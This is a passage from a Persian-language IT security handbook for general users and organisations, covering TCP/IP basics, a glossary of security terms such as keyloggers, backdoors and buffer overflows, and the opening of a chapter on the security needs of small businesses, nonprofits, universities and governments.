گواهی‌های دیجیتالی[۱۴۵] که بوسیله مرورگرهای وب برای تصدیق هویت ایمن مورد استفاده قرار می‌گیرند نیز بر اساس فنون امضای دیجیتالی (مشابه مثال فوق) کار می‌کنند.

145 *Digital Certificates*

ضمیمهٔ ۲

TCP/IP

پروتکل TCP/IP مجموعه‌ای از قوانین است که تمام پیامهای ارسالی در اینترنت را کنترل می‌کند. اگرچه نیازی نیست که کاربران عادی برای استفاده از اینترنت دربارهٔ TCP/IP اطلاع داشته باشند، اما باید دربارهٔ پیکربندی دیواره‌های آتش و تهدیدات اینترنتی مطالبی بدانند. در ادامه شرح ساده‌ای از عملکرد TCP/IP ذکر شده است. اگر با این مفاهیم آشنا هستید می‌توانید از خواندن این قسمت صرفنظر کنید.

آدرس‌دهی اینترنتی

هر ابزار در اینترنت دارای یک آدرس IP می‌باشد. این آدرس بطور کلی آن ابزار را بصورت منحصر به فرد معرفی می‌کند؛ همانطور که آدرس پستی در تمام دنیا آدرس خانهٔ شما را نشان می‌دهد. آدرسهای موجود در نسخهٔ جاری TCP/IP (که به نام IPv4 شناخته می‌شود) اعداد ۳۲ بیتی دودویی هستند. یعنی تعداد آدرسهای ممکن، ۴۲۹۴۹۶۷۲۹۶=2^{32} می‌باشد. برای نمایش و بخاطر سپردن ساده‌تر آنها، اعداد ۳۲ بیتی دودویی به ۴ بخش ۸ بیتی تقسیم‌بندی شده‌اند. چون ۲۵۶=2^8 است، هر بخش ۸ بیتی می‌تواند یکی از اعداد ۰ تا ۲۵۵ باشد. این ۴ شماره معمولاً بدنبال هم می‌آیند و با یک نقطه از یکدیگر تفکیک می‌شوند. بنابراین کوچکترین آدرس اینترنتی 0.0.0.0 و بزرگترین آن 255.255.255.255 است. نمونهٔ یک آدرس IP به شکل 24.200.195.15 می‌باشد. در اینترنت ابزاری بنام *مسیریاب*[۱۴۶] وجود دارد که مسیر هر آدرس IP را نگهداری می‌کند و می‌داند که برای دست‌یافتن به هر آدرس باید کدام مسیر را برگزید.

146 *Router*

خدمات نام دامنه[۱۴۷]

چون به خاطر سپردن رشته‌های طولانی اعداد سخت است بسیاری از رایانه‌ها در اینترنت با حروف الفبا (که *نام میزبان*[۱۴۸] نامیده می‌شوند) نامگذاری شده‌اند. نمونهٔ آن www.infodev.org است. هنگامیکه این نام را در مرورگر وب وارد کنید رایانه پیامی را به یک سرویس خاص بنام DNS ارسال می‌کند. DNS می‌تواند حروف الفبا را به شماره تبدیل نماید (در این مثال شماره مورد نظر 192.86.99.121 است). همچنین DNS به سرویس‌دهندهٔ وب اجازه می‌دهد که در مکانهای مختلف جابجا شود؛ چون دامنهٔ مربوطه آدرس جدید را به DNS اطلاع می‌دهد و لذا کاربران همچنان می‌توانند از همان نام میزبان استفاده نمایند.

IP: پروتکل اینترنت[۱۴۹]

هنگامیکه داده‌ها از طریق اینترنت ارسال می‌شوند به شکل مجموعه‌ای از حروف و نشانه در می‌آیند که به آنها *بسته*[۱۵۰] یا *datagram* گفته می‌شود. IP در TCP/IP به معنای "پروتکل اینترنت" است و مشخص می‌کند که قالب داخلی این بسته‌ها باید چگونه باشد. بستهٔ IP شامل چندین بخش اطلاعاتی است که در میان آن موارد زیر به چشم می‌خورند:

- اندازهٔ بسته؛
- آدرس IP گیرنده؛
- آدرس IP محلی که بسته از آنجا ارسال می‌شود؛ و
- نوع بسته.

هنگامیکه یک بسته از رایانهٔ شما ارسال می‌شود به نزدیکترین مسیریاب فرستاده می‌شود و آن نیز سعی می‌کند بسته را در طول مسیر به مسیریاب بعدی ارسال کند و این کار ادامه می‌یابد تا بسته به مقصد خود برسد. اگر مشکلی بوجود آید یا تراکم بسته‌ها زیاد باشد بسته نمی‌تواند ارسال شود و در میان راه متوقف خواهد شد. به همین دلیل به IP *پروتکل غیرقابل اطمینان*[۱۵۱] می‌گویند. اگرچه طبق تئوری

147 *Domain Name Services*
148 *Hostname*
149 *Internet Protocol*
150 *Packet*
151 *Unreliable Protocol*

IP قابل‌اطمینان نیست، اما در بیشتر موارد تمامی بسته‌های ارسالی را به مقصد می‌رساند.

انواع مختلفی از بسته‌ها وجود دارند که می‌توانند ارسال شوند اما در اینجا تنها به دو نوع از آنها اشاره می‌کنیم: TCP و UDP.

TCP: پروتکل کنترل انتقال[۱۵۲]

TCP پروتکلی است که در بیشتر پیامها بکار می‌رود و شامل وب (HTTP)، *پروتکل انتقال فایل* (FTP)[۱۵۳] و نامهٔ الکترونیکی می‌باشد. علاوه بر دادهٔ ارسال‌شده، بسته‌های TCP شامل موارد زیر هم می‌باشند:

- ۱۶ بیت *شمارهٔ پورت ارسالی*؛[۱۵۴]
- ۱۶ بیت *شمارهٔ پورت دریافتی*؛[۱۵۵]
- *اطلاعات ترتیبی*[۱۵۶] بسته‌ها؛ و
- *اطلاعات تصدیقی*.[۱۵۷]

از آنجا که هر رایانه فقط یک آدرس IP دارد از شماره پورت برای نمایش برنامه‌ای که در رایانه پیام را ارسال و یا دریافت می‌کند استفاده می‌شود. این قابلیتی است که امکان می‌دهد روی رایانه چندین مرورگر وب باز باشد و بتوان بوسیلهٔ آنها صفحات درخواستی را مشاهده نمود. برای اینکه یک برنامه پیام TCP را دریافت کند باید روی پورت صحیحی منتظر پیام بماند. معمولاً برای هر نرم‌افزار کاربردی خاص، یک پورت مشخص وجود دارد. بعنوان مثال پورت سرویس‌دهندهٔ وب همیشه پورت شمارهٔ ۸۰ است. هنگامیکه یک پنجرهٔ مرورگر را باز می‌کنید تقریباً بطور تصادفی یک پورت را برای خود انتخاب می‌کند (طبق قرارداد، بزرگتر از ۱۰۲۳) و این همان پورتی است که باید روی آن منتظر پیام ایستاد.

از آنجا که طول بسته‌های IP محدود است و اطلاعاتی که توسط برنامه‌های کاربردی منتقل می‌شوند ممکن است بسیار بیشتر از آن باشد، اطلاعات باید به قسمتهای کوچکتری تقسیم گردند. هر قسمت در قالب بستهٔ TCP مربوط به خود فرستاده می‌شود. فرستادن ترتیبی اطلاعات سبب می‌شود که برنامهٔ دریافتی این قسمتها را با ترتیبی صحیح مجدداً گردآوری نماید. اما به دلایل متعدد ممکن است بعضی از بسته‌ها سریعتر از بسته‌های دیگر به مقصد برسند و این بدان معنی است که بسته‌ها باید بتوانند خارج از ترتیبی که فرستاده شده‌اند دریافت شوند. از سوی دیگر از آنجا که طبق تئوری ماهیت IP قابل اطمینان نیست ممکن است بعضی از بسته‌ها هرگز به مقصد نرسند. در این مورد برنامهٔ دریافتی متوجه می‌شود که یک شکاف میان ترتیب دریافت بسته‌ها رخ داده است و می‌تواند درخواست کند که بستهٔ گم شده مجدداً ارسال شود.

هنگامیکه فرستنده یک بستهٔ TCP بفرستد، این انتظار می‌رود که برنامهٔ دریافت‌کننده با بازپس فرستادن اطلاعات تصدیقی مخصوص، دریافت آنرا تصدیق کند. اگر پیام تصدیق یک بسته در بازهٔ زمانی مشخص‌شده‌ای باز نگردد، بسته مجدداً ارسال خواهد شد. به دلیل وجود اعداد ترتیبی و تصدیقی بسته‌ها، TCP یک *پروتکل قابل اعتماد*[۱۵۸] است و هنگامیکه از آن استفاده می‌شود نرم‌افزار کاربردی، کاربر می‌تواند مطمئن باشد که درصورت وقوع اشتباه و یا خطا در انتقال یا دریافت اطلاعات، نرم‌افزار در جریان آن قرار خواهد گرفت.

UDP: پروتکل datagram کاربر[۱۵۹]

UDP قالب ساده‌ای است که برای انتقال اطلاعات مورد استفاده قرار می‌گیرد. هر بستهٔ UDP علاوه بر داده‌ها دارای اطلاعات دیگری شامل موارد زیر نیز هست:

- ۱۶ بیت شمارهٔ پورت ارسالی؛ و
- ۱۶ بیت شمارهٔ پورت دریافتی.

در اینجا نیز مانند TCP، به دلیل استفاده از شماره‌های پورت ممکن است برنامه‌های مختلفی بتوانند بطور موازی رشته‌های UDP را دریافت و ارسال نمایند. همچنین مانند دریافت پیام در TCP، برنامه باید روی پورت صحیحی منتظر دریافت پیام بماند. در UDP هیچ شرط مشخصی برای ترتیب‌بندی و تصدیق بسته‌ها وجود ندارد، لذا این

152 *Transmission Control Protocol*
153. *File Transfer Protocol*
154 *Sending Port Number*
155 *Receiving Port Number*
156 *Sequencing Information*
157 *Acknowledgement Information*

158 *Reliable Protocol*
159 *User Datagram Protocol*

پروتکل نیز همانند IP نامطمئن است و پیامها در آن ممکن است گم شوند. UDP در مواردی استفاده می‌شود که گم شدن تعدادی از پیامها اهمیت چندانی نداشته باشد و یا راه ساده‌ای برای بازیابی پیامهای گمشده موجود باشد. اما از مزایای این پروتکل می‌توان به این نکته اشاره کرد که چون هیچ تصدیق و ترتیب‌بندی خاصی در UDP وجود ندارد این پروتکل منابع بسیار کمتری از سیستم را بکار می‌گیرد.

ضمیمهٔ ۳
واژه‌نامهٔ اصطلاحات فنی

تعاریف اصطلاحات در حوزهٔ متون امنیتی

پست الکترونیکی[۱۶۰]

معادل رایانه‌ای پست نامه‌ها. آدرسهای الکترونیکی می‌توانند از طریق اینترنت، نامه ارسال یا دریافت کنند. از دیدگاه اینترنتی تمامی نامه‌های الکترونیکی از متون قابل چاپ (کاراکترهای غیرکنترلی ASCII) تشکیل شده‌اند.

تخریب سرویس[۱۶۱]

حملهٔ تخریب سرویس زمانی اتفاق می‌افتد که رایانه متصل به اینترنت توسط پیامهای بسیار زیاد و غیر حقیقی بمباران شود؛ بطوریکه تمامی وقت خود را صرف پاسخ دادن به این پیامها نماید و مجالی برای عبور ترافیک کاربر واقعی باقی نماند.

ثبت‌کننده‌های کلید[۱۶۲]

برنامه‌ای که هرآنچه از طریق صفحه‌کلید تایپ می‌شود را ثبت می‌کند. داده‌ها می‌توانند روی دیسک نوشته و یا از طریق اینترنت برای شخص دیگری ارسال گردند. اگر ثبت‌کننده‌های صفحه‌کلید روی رایانه‌ای نصب شده باشند، هرآنچه که وارد رایانه گردد – مثل نام کاربری و رمز عبور – ثبت می‌شود؛ دقیقاً مشابه حالتی که شما نام کاربری و رمز عبور خود را وارد می‌کنید و شخصی بالای سرتان ایستاده است!

درب مخفی[۱۶۳]

روشی برای گذر از ورود عادی و ایمن به سیستم و بدست‌آوردن کنترل یک رایانه بدون کسب اجازه از صاحب آن است. اگر درب مخفی روی یک رایانهٔ متصل به شبکه نصب شود ممکن است هر شخصی در اینترنت بتواند بدون اطلاع و رضایت مالک رایانه به آن وارد شود و کنترل آنرا بدست گیرد.

دیوارهٔ آتش[۱۶۴]

دیوارهٔ آتش می‌تواند تبادل غیرمنتظره و غیرمجاز اطلاعات میان شما و دنیای خارج از آنرا مسدود کند. دیواره‌های آتش دو نوع هستند: دیوارهٔ آتش می‌تواند نرم‌افزاری باشد که روی رایانهٔ شما اجرا می‌شود یا قطعهٔ سخت‌افزاری مجزایی باشد که به آنچه در شبکه دریافت و ارسال می‌شود نظاره می‌کند.

رمزگذاری[۱۶۵]

روشی برای مخفی کردن محتوای اطلاعات که باعث می‌گردد اطلاعات براحتی قابل خواندن نباشند، مگر برای کسی که قرار است آن اطلاعات را دریافت کند. در رمزگذاری یک "کلید" وجود دارد که بر اساس یکسری قوانین بوجود آمده است و برای تغییر ظاهری اطلاعات مورد استفاده قرار می‌گیرد. این اطلاعات زمانی می‌تواند خوانده شود که رمزگشایی شده باشد و برای رمزگشایی آن لازم است فرد دریافت‌کننده، هم کلید و هم روش استفاده از آنرا بداند.

سرریزی بافر[۱۶۶]

یک اشکال نرم‌افزاری است و هنگامی اتفاق می‌افتد که یک برنامه داده‌های خود را به فضایی در حافظه منتقل می‌کند که در آن جای کافی برای داده‌ها وجود ندارد. در اینحالت برنامه ممکن است داده‌های قبلی را از حافظه بیرون بیاندازد و سعی داشته باشد فضایی را برای داده‌های جدید مهیا سازد.

160 Email
161 Denial of Service
162 Keyloggers

163 Backdoor
164 Firewall
165 Encryption
166 Buffer Overflow

از بین رفتن این داده‌ها می‌تواند باعث ایجاد مشکلات زیادی گردد و معمولاً یکپارچگی و امنیت برنامه را خدشه‌دار می‌کند. با بررسی فضای کافی حافظه قبل از انتقال اطلاعات به آن می‌توان از وقوع این مسئله جلوگیری کرد.

سرقت هویت[۱۶۷]

سرقت هویت زمانی اتفاق می‌افتد که شخص اطلاعات کافی در مورد شما جمع‌آوری کرده باشد و با آن اطلاعات بتواند خود را بجای شما جا بزند (مثلاً در بانکها، فروشگاهها، یا سازمانهای دولتی).

ضمیمه[۱۶۸]

ضمیمه قسمتی از نامهٔ الکترونیکی است که با استفاده از آن می‌توان انواع فایلها مثل فایلهای متن و تصویر را انتقال داد. تمامی فایلهای غیر متنی برای ارسال باید بصورت قابل چاپ (متن‌ساده) درآیند. تمامی آنچه که در رایانه ذخیره می‌شود ترکیبی از ارقام ۰ و ۱ است. به زبان ساده‌تر کدگذاری این صفرها و یک‌ها را با تبدیل به متون ساده، قابل ارسال می‌کند.

نام کاربری و رمز عبور[۱۶۹]

نام کاربری و رمز عبور محرمانه که کاربر را برای یک سیستم رایانه‌ای و یا پایگاه وب شناسایی و تصدیق هویت می‌کند.

نرم‌افزارهای متن‌باز[۱۷۰]

نرم‌افزارهایی که متن برنامهٔ آنها در اختیار عموم است و همه می‌توانند آزادانه آنها را اصلاح کنند و تغییر دهند. به دلیل در دسترس بودن متن برنامه، افراد می‌توانند نحوهٔ عملکرد آنرا ببینند و به دلخواه خود تغییر دهند. معمولاً نویسندگان برنامه‌های متن‌باز سایر برنامه‌نویسان را تشویق به مشارکت در توسعه و گسترش قابلیتهای این برنامه‌ها می‌نمایند. برنامه‌های متن‌باز همچنین شامل نرم‌افزارهای رایگان هم هستند، و بسیاری از برنامه‌های متن باز – چه آنهایی که رایگان هستند و چه آنهایی که برای فروش می‌باشند – قابلیتهایی دارند که مشابه نرم‌افزارهای انحصاری است و ممکن است هزینهٔ بالایی داشته باشد. گاهی اوقات برنامه‌های متن‌باز تحت موافقتنامه‌ها و مجوزهای خاص بصورت غیر رایگان در قسمتهایی از برنامه‌های تجاری استفاده می‌شوند.

برای اطلاعات بیشتر در این زمینه می‌توانید به پایگاههای زیر مراجعه نمایید:

http://www.fsf.org
http://www.opensource.org

نسخهٔ پشتیبان[۱۷۱]

فرآیند نسخه‌برداری از فایلهای یک رایانه به محلهای دیگر در همان رایانه و یا روی ابزارهای جانبی که ممکن است مستقل از آن رایانه باشند. نسخه‌های پشتیبان باعث می‌شوند بتوانید داده‌هایی که به هر دلیلی از بین رفته‌اند (مثلاً بطور تصادفی پاک شده‌اند، آسیب فیزیکی دیده‌اند، و یا مورد سرقت قرار گرفته‌اند) را بازیابی نمایید.

هرزنامه[۱۷۲]

تبلیغات و دیگر نامه‌های الکترونیکی که بدون اینکه شما خواسته باشید برای شما ارسال می‌شوند.

ویروس[۱۷۳]

اصطلاح "ویروس" معنای خاصی دارد که در بخشهای آتی بیشتر مورد بحث و بررسی قرار می‌گیرد. درحال حاضر ویروس به مجموعهٔ همهٔ برنامه‌هایی اطلاق می‌گردد که در رایانهٔ شما ظاهر می‌شوند و ممکن است به رایانه‌های دیگر نیز سرایت کنند و به آنها آسیبهای جدی وارد نمایند.

167 Identity Theft
168 Attachment
169 Username & Password
170 Open-Source Software
171 Backup
172 Spam
173 Virus

Cookie

فایلی است که هنگام درخواست یک پایگاه وب از راه دور، روی دیسک سخت نوشته و یا از روی آن خوانده می‌شود. پایگاه وب درخواست می‌کند که فایل روی رایانهٔ مورد نظر نوشته شود تا بعدها هم بتواند آنرا بخواند. مثلاً اگر پایگاه وبی از شما نام کاربری درخواست کند می‌تواند این اطلاعات را روی دیسک شما ذخیره نماید. هنگامیکه شما مجدداً به آن پایگاه مراجعه می‌کنید، این پایگاه cookie قبلی را می‌خواند و متوجه می‌شود که نام کاربری شما چه بوده است.

Daemon

برنامهٔ کوچکی که روی رایانهٔ شما همیشه درحال اجرا است و منتظر می‌ماند تا از آن بخواهید کاری را برای شما انجام دهد. چنین درخواستی معمولاً از طریق یک شبکه و بوسیلهٔ کاربر راه دور انجام می‌شود.

HTML

HTML یک کلمهٔ اختصاری برای عبارت **H**yper **T**ext **M**arkup **L**anguage است. این زبان مجموعه دستورالعملهایی است که مرورگر وب یا برنامه‌های پست الکترونیکی با استفاده از آنها می‌توانند متون و تصاویر را نمایش دهند و یا عملیات دیگری به انجام رسانند. نمونه‌ای از دستورالعملهای این زبان چنین است:

```
This sentence is <<Start Bold>> very
<<End Bold>> short.
```

در جملات فوق کلمات داخل علامت <<>> نشاندهندهٔ عملی است که باید انجام شود. در نتیجهٔ دستورالعملهای فوق جمله‌ای به شکل زیر به نمایش در می‌آید:

This sentence is **very** short.

URL[۱۷۴]

یک آدرس عمومی برای اشاره به یک مقصد در اینترنت. بعنوان مثال *http://www.infodev.org/* یا *mailto: info@worldbank.org*

174 *Universal Resource Locator*

امنیت فناوری اطلاعات و سازمانها

بخش سوم

فصل اول

مقدمه

همانطور که در بخش دوم مشاهده کردیم کاربران می‌توانند برای حفاظت از رایانه‌های خود و داده‌های ذخیره‌شده در آن کارهای زیادی انجام دهند. در سازمانهای کوچک ممکن است شرایط تأمین امنیت ساده باشد و هرکس مسئولیت رایانه‌ها و فایلهای خود را بر عهده داشته باشد. با اینحال برای گروههای بزرگتر مثل سازمانهایی که با *تراکنشهای تجاری*[1] سر و کار دارند یا گروههایی که از داده‌های محرمانهٔ شهروندان یا مشتریان نگهداری می‌کنند، نیاز به ایجاد سیاستها و روالهای رسمی امنیتی بیشتر اهمیت پیدا می‌کند. هنگامیکه مدیران و کارمندان موضوع امنیت فناوری اطلاعات را مد نظر قرار می‌دهند – چه در شرکتهای تجاری، چه در سازمانهای غیرانتفاعی، و چه در مؤسسات دولتی – همواره با مسائل مشابهی مواجه خواهند بود. هر گروه برای داده‌های خود نیاز به سطح معینی از امنیت و روالهای شفاف و ساده برای به‌اجرا درآمدن توسط کارکنان، توانایی ایجاد و حفظ آگاهی از نیازهای مشتریان، و درکی از چگونگی پیاده‌سازی سیاستهای امنیتی در یک محیط عملیاتی دارد. علاوه بر این نیازهای کلی، هر دسته از سازمانها ملاحظات خاص مربوط به اهداف و مأموریت خود را نیز دارند. مدیران برای نیل به اهداف تعیین‌شده باید بر سیاستهای امنیت اطلاعات توجه مؤکد داشته باشند. همچنین درک هزینه‌های پیاده‌سازی سیاستهای امنیتیِ کاراً از اهمیت زیادی برخوردار است. فناوریها و روالهای امنیتی نوعی سرمایه‌گذاری به حساب می‌آیند و باید با توجه به هزینه‌های ضایعات محتمل مورد ارزیابی قرار گیرند. توصیه‌های عملی بخش سوم با درکی از تحلیل سود و زیان – که در یک محیط با منابع محدود بسیار ضروری است – ارائه شده است.

1 *Commercial Transactions*

بعضی شاخصهای آماری امنیت فناوری اطلاعات در سازمانها

تحقیق جهانی امنیت اطلاعات *ارنست و یانگ*[2] در سال ۲۰۰۳ نشان می‌دهد که ۹۰٪ سازمانها معتقدند امنیت اطلاعات برای دستیابی آنها به اهداف کلی‌شان بسیار حائز اهمیت است. ۷۸٪ از سازمانها عنوان کردند که اولین هدفشان از تلاش برای تأمین امنیت اطلاعات کاهش *مخاطرات*[3] می‌باشد. این سازمانها شامل ۱۰۰۰ شرکت ثروتمند می‌شدند که بخشی از منابع خود را برای مبارزه با مسائل امنیتی اختصاص داده بودند. در ادامهٔ این تحقیق:

- بیش از ۳۴٪ از سازمانها اظهار می‌کنند که قدرت کافی برای تشخیص اینکه آیا سیستمهایشان درحال حاضر مورد حمله قرار دارند یا خیر را ندارند.
- بیش از ۳۳٪ اظهار می‌کنند که توانایی ارائه عکس‌العمل مناسب در واکنش به رخدادهای امنیتی را ندارند.
- تنها ۳۴٪ از سازمانها ادعا می‌کنند که حاضر به اطاعت از ضوابط امنیتیِ قابل اجرا می‌باشند.
- ۵۶٪ سازمانها بودجهٔ ناکافی را مانع اصلی تأمین مؤثر امنیت اطلاعات می‌دانند.
- حدود ۶۰٪ از سازمانها اظهار می‌کنند که بازگشت سرمایه را برای امنیت اطلاعاتی بندرت محاسبه می‌کنند یا هرگز محاسبه نمی‌کنند.
- تنها ۲۹٪ سازمانها آموزش و آگاهی کارمندان را بعنوان قسمتی که بیشترین سرمایه‌گذاری برای امنیت اطلاعات را روی آن داشته‌اند ذکر می‌کنند؛ در مقابلِ ۸۳٪ که از فناوری بعنوان اولویت اول سرمایه‌گذاری خود در تأمین امنیت اطلاعات نام می‌برند.
- تنها ۳۵٪ از سازمانها اظهار می‌کنند که برای کارکنان برنامه‌های پیوستهٔ اطلاع‌رسانی و آموزشی دارند.

این آمارها حاکی از این هستند که همهٔ سازمانها – چه کوچک و چه بزرگ – فشارهای مالی و روانی تهدیدهای امنیت فناوری اطلاعات را حس می‌کنند. فصلهای آتی این

2 *Ernest & Young*
3 *Risks*

بخش به اولویتها و نگرانیهای سازمانهای کوچک و متوسط می‌پردازند. در عین حال به یاد داشتن نتایج تحقیق ارنست و یانگ بعنوان یک نماد از چالشهایی که تعدادی از ادارات تجاری با آنها مواجه شده‌اند بنظر مفید می‌آید.

تجارتهای کوچک و متوسط

اگر شما به *تجارتهای کوچک و متوسط* مشغول هستید[۴] اولویتهای اصلی شما قابلیت سودآوری، تداوم تجارت، پایداری، و کیفیت ارائه خدمات به مشتری هستند. سازمانهای کوچک و متوسط بوسیلهٔ قوانین محلی، ناحیه‌ای، یا ملی محدود شده‌اند و بسته به نوع تجارتی که به آن می‌پردازند و محیط تجاری کشوری که در آن فعالیت می‌کنند، ممکن است لازم باشد در مقابل چند مرکز پاسخگو باشند. در این سازمانها روند برقراری امنیت به حفاظت از سازمان و مشتریانش در مقابل فریب و حملات اساسی و پرهزینه علیه خدمات و سیستمها متمرکز خواهد بود. علاوه بر جرم رایانه‌ای و امنیت شبکه، حفاظت از داده‌ها نیز برای سازمانهای کوچک و متوسط حائز اهمیت است و به دو حوزهٔ اصلی تقسیم می‌شود: حفاظت از داده‌های سازمانی در مقابل جاسوسها یا مهاجمین سازمانیافته، و حفاظت از داده‌های مشتری مثل کارت اعتباری و تراکنشهای مالی.[۵]

سازمانهای غیرانتفاعی

در سازمانهای غیرانتفاعی مدیران و کارمندان به تأثیرگذاری روی بازار، همکاری با جوامع و شرکتهای همکار، و بدست آوردن شهرت تأکید دارند. سیستمها ممکن است هزینهٔ زیادی به خود اختصاص دهند و معمولاً بدلیل محدودیتهای بودجه در مؤسسات غیرانتفاعی از کیفیت پایینتری برخوردار باشند. بعلاوه معمولاً کارمندان تجربهٔ کمتری نسبت به کارهای فنی دارند و لذا وقتی می‌خواهند خدمات مداوم به مشتریان ارائه کنند و برای اهداکنندگان کمکهای مالی، ناظرین، و مؤسسات همکار خود یک وجههٔ مثبت از وضعیت و فعالیت مؤسسه به تصویر بکشند ممکن است با مشکلاتی مواجه شوند.

دانشگاهها

همانند سازمانهای غیرانتفاعی، در سیستمهای دانشگاهی نیز مسائلی چون محدودیتهای بودجه‌ای، شبکه‌های هزینه‌بر، و دامنهٔ وسیعی از مهارتهای فنی وجود دارند. دانشگاهها ممکن است با یکسری تهدیدات داخلی روبرو باشند؛ خصوصاً در حالتی که مثلاً دانشجویان برای پر کردن اوقات فراغت خود بخواهند به سیستم تأسیسات دانشگاه نفوذ کنند! علاوه بر این دانشگاهها ممکن است تحت سیاستهای واحدی عمل کنند و همچنین ملزم به اجرای مقررات دولتی باشند. در محیط دانشگاه حفاظت از داده‌های شخصی بسیار حائز اهمیت است، چراکه فایلهای دانشجویان حاوی اطلاعات مهمی از قبیل شماره‌های شناسایی، سوابق پزشکی و اسناد آموزشی است. مهاجمین بالقوه می‌توانند چنین داده‌هایی را بدزدند، تغییر دهند، یا از بین ببرند؛ و با اینکار به اعتبار دانشگاه آسیب جدی وارد نمایند.

سازمانهای دولتی

پیاده‌سازی و استقرار فناوری اطلاعات در سازمانهای دولتی ممکن است بر اساس کارآیی، سهولت استفاده، و قابلیت برقراری ارتباط با سایر بخشها و سازمانها مورد بررسی قرار گیرد. از آنجا که بطور کلی در بافتهای دولتی مسئله سودآوری مطرح نیست، در اینجا نیز مشابه مؤسسات غیرانتفاعی روی بودجه کنترل وجود دارد و باعث می‌شود توانایی سازمان در تهیهٔ جدیدترین سخت‌افزارها و

---

۴ *تعریف سازمانهای کوچک و متوسط از کشوری به کشور دیگر متفاوت است. در بعضی موارد، یک مالک بتنهایی همهٔ جنبه‌های یک تجارت سنتی مثل مزرعه‌داری یا خواربار فروشی را انجام می‌دهد؛ یعنی مالک تنها کارمند آن تجارت می‌باشد. در تجارتهای پیچیده‌تر ممکن است چند صد نفر تنها به محصولات مصرف‌کننده یا محصولات فنی بپردازند. در دنیای توسعه‌یافته، شرکتهایی که با تکیه به فناوری کار خود را آغاز می‌کنند در گروه سازمانهای کوچک و متوسط قرار می‌گیرند، اما ممکن است توسط گروههای سرمایه‌گذاری روی آنها سرمایه‌گذاری شود، بسرعت بزرگ شوند، و یا توسط شرکتهای بزرگ خریداری شوند. بعضی از سازمانهای کوچک و متوسط بسیار موفق، اوراق سهام منتشر می‌کنند و خودشان به شرکتهای بزرگ و عمومی تبدیل می‌شوند.*

۵ *در حالت کلی جاسوسی سازمانیافته در شرکتهای بزرگ یا شرکتهایی که محصولات مبتنی بر فناوری جدید تولید می‌کنند – جایی که در آن نوآوری ارزش زیادی دارد و ممکن است دزدیده شود – یک نگرانی محسوب می‌شود. برای سازمانهایی که به تجارت مشغولند، استراق‌سمع نگرانی جدی‌تری از جاسوسی است، هرچند آثار هر دو مشابه است. بطور خاص هر شرکت باید سوابق حسابداری، اطلاعات کارکنان، و اطلاعات تراکنشهای کارت اعتباری خود را از دستیابی غیرمجاز محافظت کند.*

نرم‌افزارهای امنیتی محدود شود. همزمان دولتها باید بر حفاظت از داده‌ها نیز تمرکز کنند، چراکه پایگاه داده‌هایشان حاوی اطلاعات حساسی در مورد افراد است؛ اطلاعاتی از قبیل اطلاعات فردی و سوابق پزشکی، جنایی، و مالیاتی.

متأسفانه حتی در سازمانهای دولتی کشورهای صنعتی نیز حفاظت داده‌ها دچار مشکل است و از سیستمهای منسوخ، سرمایه‌گذاریهای نامناسب و کارمندان از کار افتاده‌ای که فاقد شایستگیهای لازم در بعد امنیت فناوری اطلاعات هستند رنج می‌برد. همانند شرکتهای تجاری و مؤسسات غیرانتفاعی، دولت نیز باید به تصویر عمومی ایجادشده از خود پس از خبری و رسانه‌ای شدن هر نفوذ یا رخداد دیگر امنیتی اهمیت دهد.

سازمانهای کوچک و متوسط؛ موتورهای رشد و ترقی

UNDP[۶] در گزارش اخیر خود در مورد وضعیت فناوری اطلاعات در کشورهای درحال توسعه به طرح کلی بعضی چالشهایی که افراد و سازمانها در عصر اطلاعات با آن مواجه هستند پرداخت.[۷] بانک جهانی چند سری گزارش در رابطه با توسعه و استقرار فناوری اطلاعات تهیه کرده است.[۸] اگرچه تجربیات فنی سازمانها در جهان صنعتی از بعضی جهات متفاوت هستند (مقیاس، هزینه‌ها، و پایگاه اطلاعات کارکنان)، اما از نقاط قدرت و ضعف آنها در حوزهٔ امنیت فناوری اطلاعات می‌توان درسهای بسیاری گرفت. تعداد مؤسسات بزرگ کمتر است و هرکدام از قابلیتهای ویژه و منابع مالی وسیعتری برخوردارند. به هرحال هنوز میان مدیران ارشد امنیتی بعنوان مسئولان مراکز مخارج، مدیران ارشد مالی بعنوان کنترل‌کنندگان هزینه، و شاخه‌های دیگر سازمان (مدیران ارشد اطلاعات، فروش و بازاریابی، و محصولات) تنشهایی وجود دارد.[۹]

بدون برنامهٔ کلی برای ایجاد یک محیط امن برای فناوری اطلاعات، هر قسمت ممکن است یک راهکار برای برقراری امنیت توسعه دهد که از مأموریتها، اهداف، و مقاصد عملیاتی همان قسمت ناشی شده و ممکن است به همان اندازه که برای یک قسمت مناسب است برای قسمتهای دیگر چندان به کار نیاید. این راهکارهای مختلف ممکن است باعث شوند امنیت در بعضی حوزه‌ها بیش از حد مورد نیاز یا کمتر از حد مورد نیاز تأمین شده باشد؛ درحالیکه وجود نظارت از طرف مدیریت سطوح بالا تضمین خواهد کرد که تجارب امنیتی بگونه‌ای تنظیم می‌شوند که مجموعهٔ سازمان بتواند عملکرد بهتری داشته باشد. سیاستها و پیاده‌سازیهای فنی که جهت راه‌اندازی یک سیستم امنیتیِ کارآ برای سازمان لازم می‌باشند یک بخش ضروری و اساسی اهداف تجاری را تشکیل می‌دهند که در هر سازمان باید به آن بها داد.

سازمانهای کوچک و متوسط منابع کمتری برای راه‌اندازی، ساختار مسطح‌تری برای مدیریت، و اعتماد بیشتری به پایگاه اطلاعات کارکنان دارند. در این سازمانها ممکن است فرآیندهای تجاری از فرآیندهای سازمانهای بزرگ، شفافتر باشند و لذا در چنین ساختاری که در آن این مقدار از اطلاعات شرکت برای همهٔ کارکنان در دسترس است خطرات امنیتیِ ذاتی وجود خواهد داشت. در سازمانهایی که به فناوری توجه خاص ندارند ممکن است سازمان نسبت به یک کارمند یا مشاور که از نظر فنی قویتر از مدیران شرکت است آسیب‌پذیریهایی داشته باشد. در یک شرکت که در لبهٔ فناوری فعالیت می‌کند این خطر وجود دارد که مالکیت نوآوریها و منابع حیاتی آن به اندازهٔ کافی از سرقت یا تخریب مورد محافظت قرار نداشته باشد.

برای مقابله با این مشکلات، همهٔ سازمانهای کوچک و متوسط باید مروری کامل بر مأموریتها، اهداف، صلاحیتها و

---

6 *United Nations Development Program*

۷ *رجوع کنید به گزارش توسعهٔ انسانی سال ۲۰۰۱:*
"Making New Technologies Work for Human Development" (UNDP: NY, 2001)

۸ *برای مشاهدهٔ منابع می‌توانید به پایگاه بانک جهانی و همچنین پروژه‌های تحقیقاتی و نتایج موجود در مؤسسهٔ راهبری فناوری اطلاعات (ITGI) مراجعه کنید:*
http://www.worldbank.com
http://www.itgi.org

